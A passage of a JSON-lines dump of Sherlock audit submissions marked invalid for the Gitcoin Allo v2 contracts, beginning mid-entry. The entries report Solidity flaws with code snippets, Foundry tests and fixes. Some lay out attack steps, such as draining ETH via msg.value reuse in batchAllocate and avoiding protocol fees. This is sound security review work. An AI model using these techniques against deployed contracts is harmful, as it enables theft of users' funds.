precision loss during the calculation of the amount, extra tokens can become permanently stuck in the QVBaseStrategy contract怂\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\nAssume totalRecipientVotes is 100000, we have 3 users, their vote counts are 123, 345 and 99421, this is my test case:\n```solidity\n function test_poolAmountlossPrecision() public {\n uint256 poolAmount = 1e18;\n\n uint256 totalRecipientVotes = 100000;\n\n uint256 amount1 = poolAmount * 123 / totalRecipientVotes;\n\n uint256 amount2 = poolAmount * 345 / totalRecipientVotes;\n\n uint256 amount3 = poolAmount * 99421 / totalRecipientVotes;\n\n uint256 total = amount1+amount2+amount3;\n \n assert(poolAmount > total);\n }\n```\n\nWe can observe that the actual tokens used are less than poolAmount due to precision loss. Please note that the larger the totalRecipientVotes, the greater the deviation, and the participation of more users also leads to a larger deviation. Therefore, the final deviation amount should be significant. Additionally, I've noticed that there is no 'withdraw extra token' function provided in the contract怂\n\n## Impact\nThe poolManager is unable to withdraw these extra tokens\n## Code Snippet\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes; //@audit lost precision result in token stuck in contract but not provide a withdraw function.\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nwe should provide withdraw function to retrieve extra tokens, and we also need to reduce precision loss","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/263.md"}} +{"title":"In RFPCommitteeStrategy, acceptedRecipient may flop between multiple recipients, causing the wrong person to be paid for a milestone","severity":"info","body":"Merry Punch Caterpillar\n\nmedium\n\n# In RFPCommitteeStrategy, acceptedRecipient may flop between multiple recipients, causing the wrong person to be paid for a milestone\n\n`RFPCommitteeStrategy._allocate` does not check if the pool is active or if someone else has already been selected. Therefore, the acceptedRecipient may switch between multiple people. Even under honest behavior from pool admins, problems can occur that, for example, lead to people being paid for work they didn't do.\n\n## Vulnerability Detail\n\n1. An RFPCommitteeStrategy pool is funded and created. There are 6 managers, including Alice and Bob. voteThreshold is set to 3.\n2. Two people, Carol and Dan, both submit proposals. As part of it, Carol also submits a lot of detail for the first part of the project, equivalent to the first milestone\n3. Carol and Dan each get 2 votes from the 4 unnamed managers\n4. Alice calls allo.allocate to cast her vote for Carol. Knowing that Carol has already submitted work good for the first milestone, she also immediately calls distribute(). (Note that distribution does not require a prior call to `submitUpcomingMilestone()`.)\n5. At about the same time, Bob calls allo.allocate() to cast his vote for Dan. He does not call distribute(), as Dan has not submitted the work yet.\n6. The transactions get ordered in the following way: `allo.allocate(Carol); allo.allocate(Dan); allo.distribute()`.\n7. The first call to allo.allocate pushes Carol past the vote threshold. `acceptedRecipient` is set to Carol. `poolActive` is set to false.\n8. Even though a recipient has already been chosen, the second call to allo.allocate runs as if no-one has been chosen. The call pushes Dan past the vote threshold and assigns `acceptedRecipient` to Dan.\n9. Dan gets paid despite not having done the work\n\n## Impact\n\nEven with honest admins who never try to call allocate() when the pool closes, the wrong person may get paid.\n\n## Code Snippet\n\nNotice the lack of an `onlyActivePool` guard on RFPCommitteeStrategy._allocate: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102\n\nIn contrast, `RFPSimpleStrategy._allocate` has one: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391\n\nSubsequent calls to _allocate will thus clobber the first. https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L126-L136\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMark RFPCommitteStrategy.allocate() as `onlyActivePool`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/258.md"}} +{"title":"QV strategy cannot receive native token","severity":"info","body":"Merry Punch Caterpillar\n\nmedium\n\n# QV strategy cannot receive native token\n\nThe RFP and DonationMerkle strategies have a receive() method so that they can be funded with native token. The QV strategy does not, and therefore it is incompatible with the native token.\n\n## Vulnerability Detail\n\nSee summary\n\n## Impact\n\nCannot use QV strategy with native token.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L574\n\nNotice the lack of a receive() method, which is also lacking in QVSimpleStrategy. In contrast, the others have it, e.g.: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L500 .\n\nAllo.fundPool calls _transferAmountFrom: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516 . Tracing the definitions, it invokes the strategy with `call(gas(), to, amount, gas(), 0x00, gas(), 0x00)` (in SafeTransferLib). I.e.: it invokes it with empty calldata, and will therefore try to call receive() and revert.\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n\nAdd a receive() method.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/256.md"}} +{"title":"`percentFee` can be avoided.","severity":"info","body":"Little Cloth Coyote\n\nmedium\n\n# `percentFee` can be avoided.\nPools can be established and funded without being subjected to the protocol's `percentFee`.\n\n## Vulnerability Detail\nIn the `createPool()` function, `_createPool()` is called, allowing `_amount` to be set to 0. After the pool is created, the Pool deployer can utilize `fundPool()`. The `_fundPool()` function is then executed, which contains the following logic:\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nThe issue arises when the pool deployer can repeatedly use `fundPool()` with a minimal `_amount` parameter, resulting in `feeAmount` equal to 0 after calculating the `percentFee`. Consequently, no fees are directed to the `treasury`. This exploit can be particularly effective on layer 2 networks with low gas fees.\n\n## Impact\nThe bug enables the pool deployer to achieve the same pool details without incurring any fees.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n+ require(feeAmount != 0);\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/253.md"}} +{"title":"Registry.sol contracts does not receive funds as expected","severity":"info","body":"Decent Brunette Aphid\n\nmedium\n\n# Registry.sol contracts does not receive funds as expected\nThe Registry.sol contract has the function of recovering the funds in the contract called `recoverFunds()`, but it does not have any function that allows receiving native token.\n\n## Vulnerability Detail\n\nAs mentioned in the docs and the comment in the code, Registry.sol has to receive funds, but this cannot happen.\nIf we look for any payable or fallback functio, it is not declared.\n\nTherefore, the contract does not have the ability to receive native tokens.\n\nTry sending ether to the contract:\n\n```solidity\npragma solidity 0.8.19;\n\nimport \"forge-std/Test.sol\";\nimport {Registry} from \"../../../contracts/core/Registry.sol\";\n\ncontract RegistryTest is Test {\n Registry public registry;\n\n address payable bob = payable(makeAddr(\"bob\"));\n address payable alice = payable(makeAddr(\"alice\"));\n\n function setUp() public {\n registry = new Registry();\n registry.initialize(msg.sender);\n }\n\n function test_notAllowedFunds() public {\n (bool success, ) = address(registry).call{value: 1 ether}(\"\");\n assertTrue(!success);\n }\n}\n```\nThe transaction will fail.\n\nIf you look at the contract, there is no function that can receive a native token. However, the protocol attempted to implement a unit test to receive the funds, the test passed but was not correctly implemented.\n\nThis [code](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/core/Registry.t.sol#L404-417) snippet is out of scope:\n\n```solidity\n function test_recoverFunds() public {\n address user = makeAddr(\"recipient\");\n\n vm.deal(address(registry()), 1e18);\n\n assertEq(address(registry()).balance, 1e18);\n assertEq(user.balance, 0);\n\n vm.prank(registry_owner());\n registry().recoverFunds(NATIVE, user);\n\n assertEq(address(registry()).balance, 0);\n assertNotEq(user.balance, 0);\n }\n```\nThe test does not use the functions to transfer ether, but rather uses vm.deal, which only gives the balance the address of the contract and gives you a balance.\n\nWhile this [code](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/core/Registry.t.sol#L404-417) is out of scope, it is useful to show that the protocol expects this to work fine.\n\n\n## Impact\nIt cannot be used to receive funds and execute transactions on behalf of the profile and transfers any native token in the balance in Allo to the recipient.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L384-L389\n\n## Tool used\n\n* Manual Review\n* Foundry\n\n## Recommendation\nAdd fallback function like the `receive()` function that can be allow receive fund of the native toen, how the protocol is applied in the Anchor.sol contract:\n\n```solidity\nAnchor.sol: 58 receive() external payable {}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/252.md"}} +{"title":"`_createPool()` Unexpectedly Reverts Despite Adequate Funds Supplied","severity":"info","body":"Little Cloth Coyote\n\nmedium\n\n# `_createPool()` Unexpectedly Reverts Despite Adequate Funds Supplied\nIn cases where `baseFee` is set to true, the `_createPool()` function unexpectedly reverts even when sufficient funds are provided, resulting in unexpected failures.\n\n## Vulnerability Detail\nLet's examine the `_createPool()` function, especially when the `baseFee` parameter is set to true. `baseFee` is paid in `NATIVE` token. The protocol expects the caller to provide the `baseFee` in addition to the `_amount`. This implies that if `baseFee + _amount > msg.value`, the function should revert. However, it currently reverts even when `baseFee + _amount = msg.value`. This issue also persists when a non-native `_token` is used.\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n\n## Impact\nThe issue arises when `baseFee + _amount` is equal to `msg.value`, causing the function to revert erroneously. This problem also occurs when a non-native _token is involved.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415\n## Tool used\nManual Review\n\n## Recommendation\n```solidity\n if (baseFee > 0) {\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/251.md"}} +{"title":"Can steal ETH from Allo via batchAllocate","severity":"info","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Can steal ETH from Allo via batchAllocate\n\n`Allo.batchAllocate` references `msg.value` as the amount to transfer to a pool in a loop within the same context, causing the actual amount transferred during the course of the transaction to be `msg.value` * num iterations.\n\n## Vulnerability Detail\n\n`Allo._allocate` calls a given pool's strategy's `allocate` function, providing the value as `msg.value` as transferred by the caller. The problem is that `Allo.batchAllocate` simply calls `_allocate` in a loop within the same context, resulting in the same, total `msg.value` to be provided for each individual allocation. \n\nAn attacker can very easily drain Allo by creating a custom (or even cloneable) strategy which they can simply withdraw from and calling `batchAllocate` with many iterations to the same pool. All iterations except for the initial one will be paid for by ETH held by Allo.\n\n## Impact\n\nAttackers can drain Allo.sol of its native currency balance.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L362\n```solidity\nfunction batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n}\n```\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L492\n```solidity\nfunction _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`msg.value` must not be reused within the same context. Instead `Allo._allocate` should pass the `value` as a parameter defined amount if it is called iteratively within the same message context.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/249.md"}} +{"title":"Can avoid paying percentFee via Allo.fundPool","severity":"info","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Can avoid paying percentFee via Allo.fundPool\n\n`msg.value` is validated separately for paying the `percentFee` and for funding the pool, requiring only the maximum of the two required values to be passed, allowing the `percentFee` to be paid for by funds held by Allo.sol.\n\nNote that this is a separate issue from the known issue of fee skirting as it is executed through Allo.fundPool.\n\n## Vulnerability Detail\n\n`Allo._fundPool` contains two `_transferAmountFrom`'s, one for transferring the `percentFee` to the treasury, and one for actually funding the pool. In the case that the token being used for funding is `NATIVE`, `_transferAmountFrom` simply validates that `msg.value` is not less than the `amount` being transferred. The problem with this logic however, is that both transfers are within the same `msg` context, resulting in `msg.value` being shared between them. As a result, as long as `msg.value` is >= either amount used there will be no revert as long as Allo.sol holds enough ETH to cover the unpaid amount. We know that it is realistic that Allo.sol holds ETH because:\n- There is a `recoverFunds` method\n- `_createPool` enforces that strictly greater than the required amount is passed as `msg.value` (a separate finding)\n\nAn attacker can take advantage of this by funding a pool, passing the `msg.value` as the amount to fund excluding the `percentFee`, avoiding paying the `percentFee` altogether.\n\n## Impact\n\nAttackers can avoid paying the `percentFee` to fund their pool, even when funding indirectly via Allo.fundPool.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L509\n```solidity\nif (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n}\n\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n```\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Transfer.sol#L74\n\n```solidity\nif (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`msg.value` should not be validated separately within the same context. Instead it's necessary that we validate `msg.value` is sufficient to cover **both** amounts to be transferred.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/248.md"}} +{"title":"Incorrect input validation for base Fee will cause pool admin/creator to overpay more Native tokens than required","severity":"info","body":"Abundant Vinyl Scorpion\n\nhigh\n\n# Incorrect input validation for base Fee will cause pool admin/creator to overpay more Native tokens than required\n\nIncorrect input validation will cause pool admin to overpay more Native tokens than required \n\n## Vulnerability Detail\n\nThe function _createPool allows a pool admin to create a pool. In return, the pool admin must pay a base fee, denominated in native tokens. \n\nIn this line, there is a check to make sure that the native tokens are not being subtracted form the Allo contract balance.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\nHowever it makes an incorrect validation.\n\n\nIf for example, a pool is not Native token, then the only way for this function to pass is if msg.value > basefee, meaning that there will be ETH left in the Allo contract that belongs to the pool admin that the admin cannot recover.\n\nThe following modified test from Allo.t.sol fails \n\n```solidity\n\nfunction test_createPoolWithBaseFee() public {\n address newtoken = address(9);\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e17}(\n poolProfile_id(), strategy, \"0x\", newtoken, 0, metadata, pool_managers()\n );\n }\n```\nAs you can see, the admin tries to send the exact base fee to create the pool but it doesn't work unless the admin overpays\n\n## Impact\n\nAs this situation is expected to occur everytime a pool is created, these lost funds will eventually accumulate, resulting in large amounts of ETH lost \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRemove the equal signs from the revert statement","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/239.md"}} +{"title":"BatchAllocate cannot work with some strategies if the token is native","severity":"info","body":"Abundant Vinyl Scorpion\n\nmedium\n\n# BatchAllocate cannot work with some strategies if the token is native\n\nThe function batchallocate cannot work with some strategies if the token is native \n\n## Vulnerability Detail\n\nThe function Batch Allocate allows a user to allocate funds to multiple pools.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362-L375\n\n However the function is not payable which presents a problem as a pool can be funded with Native tokens. This is evident in the nested function _allocate \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L493\n\nThe function expects to receive native tokens in the event that a pool uses them but it will not work \n\n\n## Impact\n\nThe function batchallocate will not work if the pool uses native tokens \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362-L375\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdjust the function Batch Allocate to work with strategies that use Native token or make it clear in the comments/documentation that the function cannot be used with native tokens","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/238.md"}} +{"title":"Pool could be created with a strategy, which does not implement BaseStrategy","severity":"info","body":"Fantastic Chocolate Mantaray\n\nmedium\n\n# Pool could be created with a strategy, which does not implement BaseStrategy\nIn Allo docs we have `Expects a strategy which implements BaseStrategy.sol` `Expects all interactions with the functions on BaseStrategys.sol to happen via Allo.sol`, but this is not guaranteed, because inside Allo.sol and everywhere else strategy address is being cast to \"IStrategy\", which could be contract, which does not implement BaseStrategy and this breaks protocol invariant assumption that every strategy implements BaseStrategy.sol.\n## Vulnerability Detail\nSomeone could create malicious implementation of IStrategy.sol interface and register a pool inside Allo.sol. \nEven if the actor is not malicious and create Strategy implementation focusing on the custom logic and forget to implement logic that the contract could be initialized only once. This could result in major bad circumstances, if the pool with this strategy is registered once, than some allocation/distribution interactions has passed and then the same address is passed to create another pool. If the logic inside BaseContract.sol regarding \"only one initialization\" is not implemented from this strategy... big confusion will arise when a second initilization is called. Recipients data would be erased, pool amount will be changed etc, which could also result in users lost funds.\n## Impact\n- Unpredictable behaviour.\n- Potential fund loss\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L160\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L417\n## Tool used\n\nManual Review\n\n## Recommendation\nUse `BaseStrategy` for type casting to assure the provided implementation use BaseStrategy.sol","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/234.md"}} +{"title":"The QVStrategy is missing withdraw utility, funds may get stuck","severity":"info","body":"Original Sky Buffalo\n\nmedium\n\n# The QVStrategy is missing withdraw utility, funds may get stuck\nRFP* and Donation* strategies have an emergency withdraw utility. It is missing in QV* strategy, which means, if the pool fails to pay the recipient (due to pool or the recipient non conformance), then there is no possibility to retrieve the funds back. \n\n## Vulnerability Detail\nThe `withdraw()` function is missing from QV* strategy contracts.\n\n## Impact\nIf the QV* strategy based pool fails to pay the recipient, the funds will be stuck in the contract.\n\n## Code Snippet\nin `RFPSimpleStrategy` there is [withdraw](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) function:\n\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\nin `DonationVotingMerkleDistributionBaseStrategy.sol` there is [withdraw](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394) function:\n\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\n\nThere is no such utility in `QVBaseStrategy.sol`, which should be analogous to other ones.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a `withdraw()` function which allows pool manager to rescue funds e.g. with `onlyActiveAllocation` modifier (as it could be presumably used if quorum is not met and the funds are not paid to the recipient in the end.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/232.md"}} +{"title":"Incorrect check in `_createPool()` leaves unused `NATIVE` on `Allo.sol`","severity":"info","body":"Recumbent Citron Mustang\n\nmedium\n\n# Incorrect check in `_createPool()` leaves unused `NATIVE` on `Allo.sol`\n\nIn the [`_createPool()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473) function there is a check to make sure the `msg.value` is higher than the `baseFee` but this check is incorrect and requires the user to send at least 1 extra `wei` to the contract.\n\n## Vulnerability Detail\n\nWhen a user wants to create a new pool they have to pay a `baseFee` to Gitcoin. This fee is taken in the function [`_createPool()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L473).\n\nThe fee is paid in `NATIVE` token so to make sure enough fund where send, there is a check on `msg.value` amount.\n\nBut this check is wrong as it requires `msg.value` to be higher than `baseFee` or `baseFee + amount` thus users will have to send at least one extra `wei` that won't be used.\n\n## Impact\n\nMedium, loss is very small but still annoying and constant.\n\n## Code Snippet\n\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `>` instead of `>=` in the `if`.\n\n```solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/229.md"}} +{"title":"The overpayment for one pool by Allo.createPool() might be stolen and used to fund another pool due to failure to check msg.value == baseFee + _amount.","severity":"info","body":"Fresh Indigo Platypus\n\nhigh\n\n# The overpayment for one pool by Allo.createPool() might be stolen and used to fund another pool due to failure to check msg.value == baseFee + _amount.\nThe overpayment for one pool by Allo.createPool() might be stolen and used to fund another pool due to failure to check ``msg.value == baseFee + _amount``. Such exploit is possible because of the following issues:\n\n1) ``Allo.createPool()`` only checks to ensure that ``msg.value >= baseFee + _amount`` and does not check ``msg.value == baseFee + _amount``, therefore, overpayment is possible. Not just due to user's mistake, see the scenario below.\n\n2) ``Allo.fundPool()`` does not check that ``msg.value == amount``, so underpayment is possible. Overpayment is also possible as well, which is another issue. \n\n3) The overpayment by ``Allo.createPool()`` can be stolen and used to pay another pool by calling ``Allo.fundPool()`` with underpayment. \n\n## Vulnerability Detail\n\nThe following scenario shows how the funding for one pool can be stolen to fund another pool. Assume both pool1 and pool2 use native tokens. \n\n1) Alice calls ``Allo.createPool()`` to create pool1 with msg.value = 1100 where 100 is the base fee and 1000 is the amount to fund pool1. Suppose baseFee = 100.\n\n2) Before Alice's transaction is committed, the Allo owner calls ``updateBaseFee()`` to change the base fee to zero. \n\n3) Alice's transaction is committed next with ``msg.value = 1100``. Since now base fee = 0. The 100 overpayment belongs to the contract, while 1000 is funded to pool 1. The transaction is successful since the condition ``msg.value >= baseFee + _amount`` is still satisfied. \n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485)\n\n4) Bob calls ``fundPool(pool2, 1100)`` with ``msg.value = 1000``. The extra overpayment of 100 by Alice will be stolen by Bob to fund pool2 - Bob only needs to pay 1000 while specifying input amount = 1100. The 100 difference will be paid by Alice's overpayment of 100. Such underpayment is fine due to the lack of checking ``amount == msg.value``. \n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345)\n\nIn conclusion, Alice pays 100 extra, while Bob pays 100 less by stealing the 100 from Alice. \n\n## Impact\nThe overpayment for one pool by Allo.createPool() might be stolen and used to fund another pool due to failure to check msg.value == baseFee + _amount.\n\n\n## Code Snippet\n\n## Tool used\nVScode\n\nManual Review\n\n## Recommendation\nAdd checks to both ``Allo.createPool()`` and ``Allo.fundPool()`` to ensure that both overpayment and underpayment are impossible. \n\n```diff\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize 